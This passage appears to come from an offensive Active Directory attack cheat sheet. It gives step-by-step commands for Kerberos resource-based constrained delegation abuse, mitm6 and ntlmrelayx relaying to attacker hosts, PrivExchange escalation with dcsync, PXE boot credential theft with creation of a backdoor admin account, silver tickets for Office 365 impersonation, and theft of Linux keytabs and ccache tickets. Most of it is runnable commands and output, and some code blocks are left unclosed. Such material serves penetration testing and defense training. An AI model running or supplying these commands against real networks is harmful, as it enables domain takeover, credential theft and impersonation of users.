### Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012. 

> The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B.  https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

1. Import **Powermad** and **Powerview**

    ```powershell
    PowerShell.exe -ExecutionPolicy Bypass
    Import-Module .\powermad.ps1
    Import-Module .\powerview.ps1
    ```

2. Get user SID

    ```powershell
    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
    $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
    $ACE
    ConvertFrom-SID $ACE.SecurityIdentifier
    ```

3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it

    ```powershell
    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
    ```

4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties

    ```powershell
    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid

    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
    $Descriptor.DiscretionaryAcl
    ```

5. Use Rubeus to get hash from password

    ```powershell
    Rubeus.exe hash /password:'Weakest123*' /user:swktest  /domain:factory.lan
    [*] Input password             : Weakest123*
    [*] Input username             : swktest
    [*] Input domain               : factory.lan
    [*] Salt                       : FACTORY.LANswktest

    [*]       des_cbc_md5          : BA297CFD07E62A5E
    ```

6. Impersonate domain admin using our newly created machine account

    ```powershell
    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt

### Relay delegation with mitm6

Prerequisites: 
- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)

> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

```powershell
git clone https://github.com/fox-it/mitm6.git 
cd /opt/tools/mitm6
pip install .

mitm6 -hw ws02 -d lab.local --ignore-nofqnd
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
then use rubeus with s4u to relay the delegation
```

### PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.    
:warning: You need a shell on a user account with a mailbox.


1. Exchange server hostname or IP address

    ```bash 
    pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
    ```


2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

    ```powershell
    ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
    ```


3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

    ```bash
    # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
    python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
    python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
    
    # https://github.com/G0ldenGunSec/PowerPriv 
    powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
    ```

4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    ```bash
    python secretsdump.py xxxxxxxxxx -just-dc
    python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
    ```

5. Clean your mess and restore a previous state of the user's ACL

    ```powershell
    python aclpwn.py --restore ../aclpwn-20190319-125741.restore
    ```

Alternatively you can use the Metasploit module 

[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)

Alternatively you can use an all-in-one tool : Exchange2domain.

```powershell
git clone github.com/Ridter/Exchange2domain 
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
```

### PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    ```powershell
    net user hacker Password123! /add
    net localgroup administrators /add hacker
    ```

- Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

    ```powershell
    # Import the module
    PS > Import-Module .\PowerPXE.ps1

    # Start the exploit on the Ethernet interface
    PS > Get-PXEcreds -InterfaceAlias Ethernet
    PS > Get-PXECreds -InterfaceAlias « lab 0 » 

    # Wait for the DHCP to get an address
    >> Get a valid IP adress
    >>> >>> DHCP proposal IP address: 192.168.22.101
    >>> >>> DHCP Validation: DHCPACK

    # Extract BCD path from the DHCP response
    >> Request BCD File path
    >>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
    >>> >>> TFTP IP Address:  192.168.22.3

    # Download the BCD file and extract wim files

    ```


### Impersonating Office 365 Users on Azure AD Connect

Prerequisites: 

* Obtain NTLM password hash of the AZUREADSSOACC account
    ```powershell
    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
    ```

* AAD logon name of the user we want to impersonate (userPrincipalName or mail)
    ```powershell
    elrond@contoso.com
    ```

* SID of the user we want to impersonate
    ```powershell
    S-1-5-21-2121516926-2695913149-3163778339-1234
    ```


Create the Silver Ticket and inject it into Kerberos cache:
```powershell
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
```

Launch Mozilla Firefox, go to about:config
```powershell
network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".
```

Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.


## Linux Active Directory

### CCACHE ticket reuse from /tmp

List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`

> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

### CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey

```powershell
[root@Lab-LSV01 /]# /tmp/tickey -i

### CCACHE ticket reuse from keytab

```powershell
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```

### Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure. 

Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23  is the actual NT Hash of the user.

```powershell
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
	 KVNO: 25
	 Key type: 23
	 Key: 6b3723410a3c54692e400a5862256e0a
	 Time stamp: Oct 07,  2019 09:12:02
[...]
```

On macOS you can use `bifrost`.

```powershell
./bifrost -action dump -source keytab -path test
```

Connect to the machine using the account and the hash with CME.

```powershell
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "6b3723410a3c54692e400a5862256e0a" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 6b3723410a3c54692e400a5862256e0a  
```
